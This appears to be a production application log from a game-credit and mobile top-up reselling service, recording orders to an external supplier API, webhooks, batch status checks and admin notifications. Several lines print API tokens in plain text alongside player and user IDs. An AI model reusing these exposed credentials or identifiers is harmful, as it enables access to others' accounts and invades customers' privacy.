[2026-03-24 15:20:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"5qzVE7nplMpY5ieta7HFLd3bwt95wmWG","execution_time":"2026-03-24 15:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iYyf-1774354643","operation_id":163747,"processed":0,"errors":0} 
[2026-03-24 15:20:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"5qzVE7nplMpY5ieta7HFLd3bwt95wmWG","execution_time":"2026-03-24 15:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iYyf-1774354643","operation_id":163747} 
[2026-03-24 15:20:02] production.INFO: Executing GetProducts task...  
[2026-03-24 15:20:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 15:20:02] production.INFO: Executing GetProducts task...  
[2026-03-24 15:20:04] production.INFO: async() رجع: true  
[2026-03-24 15:20:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 15:20:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 15:20:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 15:20:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 15:20:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 15:20:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 15:20:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 15:20:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 15:20:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 15:20:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 15:20:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 15:22:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"VKw3gNXQcg6mBTzM5618sQgRoYWmQKWQ","execution_time":"2026-03-24 15:22:03"} 
[2026-03-24 15:22:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"VKw3gNXQcg6mBTzM5618sQgRoYWmQKWQ","execution_time":"2026-03-24 15:22:03","total_operations":3,"sites_count":2} 
[2026-03-24 15:22:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"VKw3gNXQcg6mBTzM5618sQgRoYWmQKWQ","execution_time":"2026-03-24 15:22:03","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-l3ngC-1774353257"]} 
[2026-03-24 15:22:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"VKw3gNXQcg6mBTzM5618sQgRoYWmQKWQ","execution_time":"2026-03-24 15:22:03","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 15:22:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"VKw3gNXQcg6mBTzM5618sQgRoYWmQKWQ","execution_time":"2026-03-24 15:22:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 15:22:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VKw3gNXQcg6mBTzM5618sQgRoYWmQKWQ","execution_time":"2026-03-24 15:22:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:22:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"VKw3gNXQcg6mBTzM5618sQgRoYWmQKWQ","execution_time":"2026-03-24 15:22:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 15:22:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"VKw3gNXQcg6mBTzM5618sQgRoYWmQKWQ","execution_time":"2026-03-24 15:22:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":0,"errors":0} 
[2026-03-24 15:22:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"VKw3gNXQcg6mBTzM5618sQgRoYWmQKWQ","execution_time":"2026-03-24 15:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"orders_count":2,"order_ids":["ORD-iYyf-1774354643","ORD-IxRfzyG-1774354760"]} 
[2026-03-24 15:22:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"VKw3gNXQcg6mBTzM5618sQgRoYWmQKWQ","execution_time":"2026-03-24 15:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:22:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"VKw3gNXQcg6mBTzM5618sQgRoYWmQKWQ","execution_time":"2026-03-24 15:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"orders_count":2} 
[2026-03-24 15:22:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VKw3gNXQcg6mBTzM5618sQgRoYWmQKWQ","execution_time":"2026-03-24 15:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-IxRfzyG-1774354760","operation_id":163750} 
[2026-03-24 15:22:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VKw3gNXQcg6mBTzM5618sQgRoYWmQKWQ","execution_time":"2026-03-24 15:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iYyf-1774354643","operation_id":163747} 
[2026-03-24 15:22:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"VKw3gNXQcg6mBTzM5618sQgRoYWmQKWQ","execution_time":"2026-03-24 15:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iYyf-1774354643","operation_id":163747,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 15:22:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"VKw3gNXQcg6mBTzM5618sQgRoYWmQKWQ","execution_time":"2026-03-24 15:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iYyf-1774354643","operation_id":163747,"processed":0,"errors":0} 
[2026-03-24 15:22:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"VKw3gNXQcg6mBTzM5618sQgRoYWmQKWQ","execution_time":"2026-03-24 15:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iYyf-1774354643","operation_id":163747} 
[2026-03-24 15:22:37] production.INFO: Constructing job for order: 178833  
[2026-03-24 15:22:39] production.INFO: Handling job for order: 178833  
[2026-03-24 15:22:39] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:22:39] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:22:39] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=ac15295c-5e41-43ca-8094-87571858a32b&Player_ID=5319138379  
[2026-03-24 15:22:39] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=ac15295c-5e41-43ca-8094-87571858a32b&Player_ID=5319138379","has_body":false} 
[2026-03-24 15:22:40] production.INFO: Operation sent successfully {"operation_id":163751,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ybS-1774354960","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:22:40"}},"processed_data":{"order_number":"ORD-ybS-1774354960","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 15:22:54] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ybS-1774354960","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:22:54] production.INFO: Processed webhook data (normalized) {"id":"ORD-ybS-1774354960","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:22:54] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:22:54] production.INFO: SendAcceptReject: Notification queued {"user_id":354,"notification_type":"order_approved","reference_id":178833} 
[2026-03-24 15:22:54] production.INFO: Order updated successfully. Order ID: 178833, Status: completed  
[2026-03-24 15:22:54] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ybS-1774354960","status":"completed","codes_count":0} 
[2026-03-24 15:22:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 354  
[2026-03-24 15:23:12] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-iYyf-1774354643","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 15:23:12] production.INFO: Processed webhook data (normalized) {"id":"ORD-iYyf-1774354643","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 15:23:12] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:23:12] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-IxRfzyG-1774354760","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 15:23:12] production.INFO: Processed webhook data (normalized) {"id":"ORD-IxRfzyG-1774354760","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 15:23:12] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:23:12] production.INFO: SendAcceptReject: Notification queued {"user_id":312,"notification_type":"order_approved","reference_id":178828} 
[2026-03-24 15:23:12] production.INFO: Order updated successfully. Order ID: 178828, Status: completed  
[2026-03-24 15:23:12] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-iYyf-1774354643","status":"completed","codes_count":0} 
[2026-03-24 15:23:12] production.INFO: SendAcceptReject: Notification queued {"user_id":312,"notification_type":"order_approved","reference_id":178832} 
[2026-03-24 15:23:12] production.INFO: Order updated successfully. Order ID: 178832, Status: completed  
[2026-03-24 15:23:12] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-IxRfzyG-1774354760","status":"completed","codes_count":0} 
[2026-03-24 15:23:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 312  
[2026-03-24 15:23:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 312  
[2026-03-24 15:23:13] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 15:23:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 225  
[2026-03-24 15:23:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 780  
[2026-03-24 15:23:28] production.INFO: Creating credit request {"payload":{"method_id":"16","amount":"5000.0","mainamount":"5000","operation_number":"111111111","note":"واصل إلى محل توب فون معضميه","currency_id":"2"},"user_id":52} 
[2026-03-24 15:23:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 15:23:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 15:23:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 15:23:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 15:23:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 15:23:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 15:23:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 15:23:28] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 15:23:28] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18639,"user_id":52,"amount":5000.0,"admins_notified":7} 
[2026-03-24 15:24:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Hs6sQryzN1gd3329MCFBrLinKjT7epWE","execution_time":"2026-03-24 15:24:01"} 
[2026-03-24 15:24:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Hs6sQryzN1gd3329MCFBrLinKjT7epWE","execution_time":"2026-03-24 15:24:01","total_operations":1,"sites_count":1} 
[2026-03-24 15:24:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Hs6sQryzN1gd3329MCFBrLinKjT7epWE","execution_time":"2026-03-24 15:24:01","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-l3ngC-1774353257"]} 
[2026-03-24 15:24:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Hs6sQryzN1gd3329MCFBrLinKjT7epWE","execution_time":"2026-03-24 15:24:01","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 15:24:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Hs6sQryzN1gd3329MCFBrLinKjT7epWE","execution_time":"2026-03-24 15:24:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 15:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Hs6sQryzN1gd3329MCFBrLinKjT7epWE","execution_time":"2026-03-24 15:24:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:24:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Hs6sQryzN1gd3329MCFBrLinKjT7epWE","execution_time":"2026-03-24 15:24:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 15:24:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Hs6sQryzN1gd3329MCFBrLinKjT7epWE","execution_time":"2026-03-24 15:24:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704,"processed":0,"errors":0} 
[2026-03-24 15:24:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Hs6sQryzN1gd3329MCFBrLinKjT7epWE","execution_time":"2026-03-24 15:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-l3ngC-1774353257","operation_id":163704} 
[2026-03-24 15:24:16] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-l3ngC-1774353257","status":"cancelled","notes":["USSD_FAILED"],"codes":[]}} 
[2026-03-24 15:24:16] production.INFO: Processed webhook data (normalized) {"id":"ORD-l3ngC-1774353257","status":"cancelled","codes":[],"notes":["USSD_FAILED"]} 
[2026-03-24 15:24:16] production.INFO: Mapped webhook status {"external_status":"cancelled","mapped_status":3} 
[2026-03-24 15:24:16] production.INFO: SendAcceptReject: Notification queued {"user_id":1597,"notification_type":"order_rejected","reference_id":178783} 
[2026-03-24 15:24:16] production.INFO: Order updated successfully. Order ID: 178783, Status: rejected  
[2026-03-24 15:24:16] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-l3ngC-1774353257","status":"rejected","codes_count":0} 
[2026-03-24 15:24:19] production.INFO: Constructing job for order: 178834  
[2026-03-24 15:24:21] production.INFO: Handling job for order: 178834  
[2026-03-24 15:24:21] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:24:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:24:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=c4e4e341-d2af-4ae8-a12d-f0761f3431cb&Player_ID=5515428700  
[2026-03-24 15:24:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=c4e4e341-d2af-4ae8-a12d-f0761f3431cb&Player_ID=5515428700","has_body":false} 
[2026-03-24 15:24:22] production.INFO: Operation sent successfully {"operation_id":163752,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-kGOcCW-1774355061","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:24:22"}},"processed_data":{"order_number":"ORD-kGOcCW-1774355061","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 15:24:24] production.INFO: Constructing job for order: 178835  
[2026-03-24 15:24:25] production.INFO: Handling job for order: 178835  
[2026-03-24 15:24:25] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:24:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:24:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/561/params?qty=75000&uuid=f094e5e3-6601-4051-923a-db8ca8552dfc&Player_ID=3270271  
[2026-03-24 15:24:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/561/params?qty=75000&uuid=f094e5e3-6601-4051-923a-db8ca8552dfc&Player_ID=3270271","has_body":false} 
[2026-03-24 15:24:26] production.INFO: Operation sent successfully {"operation_id":163753,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-qMAQx6-1774355065","amount":5.615520000000000067075234255753457546234130859375,"status":"processing","product":"Tami Amount","game":"Tami","notes":[],"created_at":"2026-03-24 15:24:26"}},"processed_data":{"order_number":"ORD-qMAQx6-1774355065","amount":5.615520000000000067075234255753457546234130859375,"status":"processing","product":"Tami Amount","game":"Tami"}} 
[2026-03-24 15:24:30] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-kGOcCW-1774355061","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:24:30] production.INFO: Processed webhook data (normalized) {"id":"ORD-kGOcCW-1774355061","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:24:30] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:24:30] production.INFO: SendAcceptReject: Notification queued {"user_id":861,"notification_type":"order_approved","reference_id":178834} 
[2026-03-24 15:24:30] production.INFO: Order updated successfully. Order ID: 178834, Status: completed  
[2026-03-24 15:24:30] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-kGOcCW-1774355061","status":"completed","codes_count":0} 
[2026-03-24 15:24:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 861  
[2026-03-24 15:24:45] production.INFO: SendAcceptReject: Notification queued {"user_id":52,"notification_type":"request_approved","reference_id":18639} 
[2026-03-24 15:24:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 52  
[2026-03-24 15:24:49] production.INFO: Constructing job for order: 178836  
[2026-03-24 15:24:50] production.INFO: Handling job for order: 178836  
[2026-03-24 15:24:50] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 15:24:50] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:24:50] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=7af4fb15-ce36-49f4-9d60-41d1a44f9bdc&Player_ID=0951413163  
[2026-03-24 15:24:50] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=7af4fb15-ce36-49f4-9d60-41d1a44f9bdc&Player_ID=0951413163","has_body":false} 
[2026-03-24 15:24:50] production.INFO: Operation sent successfully {"operation_id":163754,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-SiAT8-1774355090","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 15:24:50"}},"processed_data":{"order_number":"ORD-SiAT8-1774355090","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 15:24:58] production.INFO: Constructing job for order: 178837  
[2026-03-24 15:24:59] production.INFO: Handling job for order: 178837  
[2026-03-24 15:24:59] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 15:24:59] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:24:59] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=7b5bb4df-eecf-4cfc-81a5-2a6adea420ce&Player_ID=0951413163  
[2026-03-24 15:24:59] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=7b5bb4df-eecf-4cfc-81a5-2a6adea420ce&Player_ID=0951413163","has_body":false} 
[2026-03-24 15:25:00] production.INFO: Operation sent successfully {"operation_id":163755,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Coj1A-1774355100","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 15:25:00"}},"processed_data":{"order_number":"ORD-Coj1A-1774355100","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 15:25:03] production.INFO: Executing GetProducts task...  
[2026-03-24 15:25:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 15:25:03] production.INFO: Executing GetProducts task...  
[2026-03-24 15:25:05] production.INFO: async() رجع: true  
[2026-03-24 15:25:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 15:25:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 15:25:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 15:25:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 15:25:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 15:25:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 15:25:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 15:25:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 15:25:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 15:25:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 15:25:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 15:25:36] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-qMAQx6-1774355065","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 15:25:36] production.INFO: Processed webhook data (normalized) {"id":"ORD-qMAQx6-1774355065","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 15:25:36] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:25:36] production.INFO: SendAcceptReject: Notification queued {"user_id":1461,"notification_type":"order_approved","reference_id":178835} 
[2026-03-24 15:25:36] production.INFO: Order updated successfully. Order ID: 178835, Status: completed  
[2026-03-24 15:25:36] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-qMAQx6-1774355065","status":"completed","codes_count":0} 
[2026-03-24 15:25:37] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1461  
[2026-03-24 15:26:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"zALAGgmi6HP4dffyo4tOXqi0uubmND7c","execution_time":"2026-03-24 15:26:01"} 
[2026-03-24 15:26:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"zALAGgmi6HP4dffyo4tOXqi0uubmND7c","execution_time":"2026-03-24 15:26:01","total_operations":2,"sites_count":1} 
[2026-03-24 15:26:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"zALAGgmi6HP4dffyo4tOXqi0uubmND7c","execution_time":"2026-03-24 15:26:01","site_id":4,"site_name":"swgamessls","orders_count":2,"order_ids":["ORD-SiAT8-1774355090","ORD-Coj1A-1774355100"]} 
[2026-03-24 15:26:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"zALAGgmi6HP4dffyo4tOXqi0uubmND7c","execution_time":"2026-03-24 15:26:01","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 15:26:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"zALAGgmi6HP4dffyo4tOXqi0uubmND7c","execution_time":"2026-03-24 15:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 15:26:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"zALAGgmi6HP4dffyo4tOXqi0uubmND7c","execution_time":"2026-03-24 15:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiAT8-1774355090","operation_id":163754,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 15:26:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"zALAGgmi6HP4dffyo4tOXqi0uubmND7c","execution_time":"2026-03-24 15:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiAT8-1774355090","operation_id":163754,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 15:26:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"zALAGgmi6HP4dffyo4tOXqi0uubmND7c","execution_time":"2026-03-24 15:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiAT8-1774355090","operation_id":163754,"count":2} 
[2026-03-24 15:26:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"zALAGgmi6HP4dffyo4tOXqi0uubmND7c","execution_time":"2026-03-24 15:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiAT8-1774355090","operation_id":163754,"count":2} 
[2026-03-24 15:26:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"zALAGgmi6HP4dffyo4tOXqi0uubmND7c","execution_time":"2026-03-24 15:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiAT8-1774355090","operation_id":163754,"user_id":1597,"notification_type":"order_approved","reference_id":178837} 
[2026-03-24 15:26:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"zALAGgmi6HP4dffyo4tOXqi0uubmND7c","execution_time":"2026-03-24 15:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiAT8-1774355090","operation_id":163754,"user_id":1597,"notification_type":"order_approved","reference_id":178836} 
[2026-03-24 15:26:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"zALAGgmi6HP4dffyo4tOXqi0uubmND7c","execution_time":"2026-03-24 15:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiAT8-1774355090","operation_id":163754,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 15:26:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"zALAGgmi6HP4dffyo4tOXqi0uubmND7c","execution_time":"2026-03-24 15:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiAT8-1774355090","operation_id":163754,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 15:26:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"zALAGgmi6HP4dffyo4tOXqi0uubmND7c","execution_time":"2026-03-24 15:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiAT8-1774355090","operation_id":163754,"processed":2,"errors":0} 
[2026-03-24 15:26:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"zALAGgmi6HP4dffyo4tOXqi0uubmND7c","execution_time":"2026-03-24 15:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiAT8-1774355090","operation_id":163754,"processed":2,"errors":0} 
[2026-03-24 15:26:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"zALAGgmi6HP4dffyo4tOXqi0uubmND7c","execution_time":"2026-03-24 15:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SiAT8-1774355090","operation_id":163754} 
[2026-03-24 15:26:35] production.INFO: Constructing job for order: 178839  
[2026-03-24 15:26:36] production.INFO: Handling job for order: 178839  
[2026-03-24 15:26:36] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:26:36] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:26:36] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=c5d66d20-d924-4fc5-80a0-6e4ac12dddd9&Player_ID=14391740079  
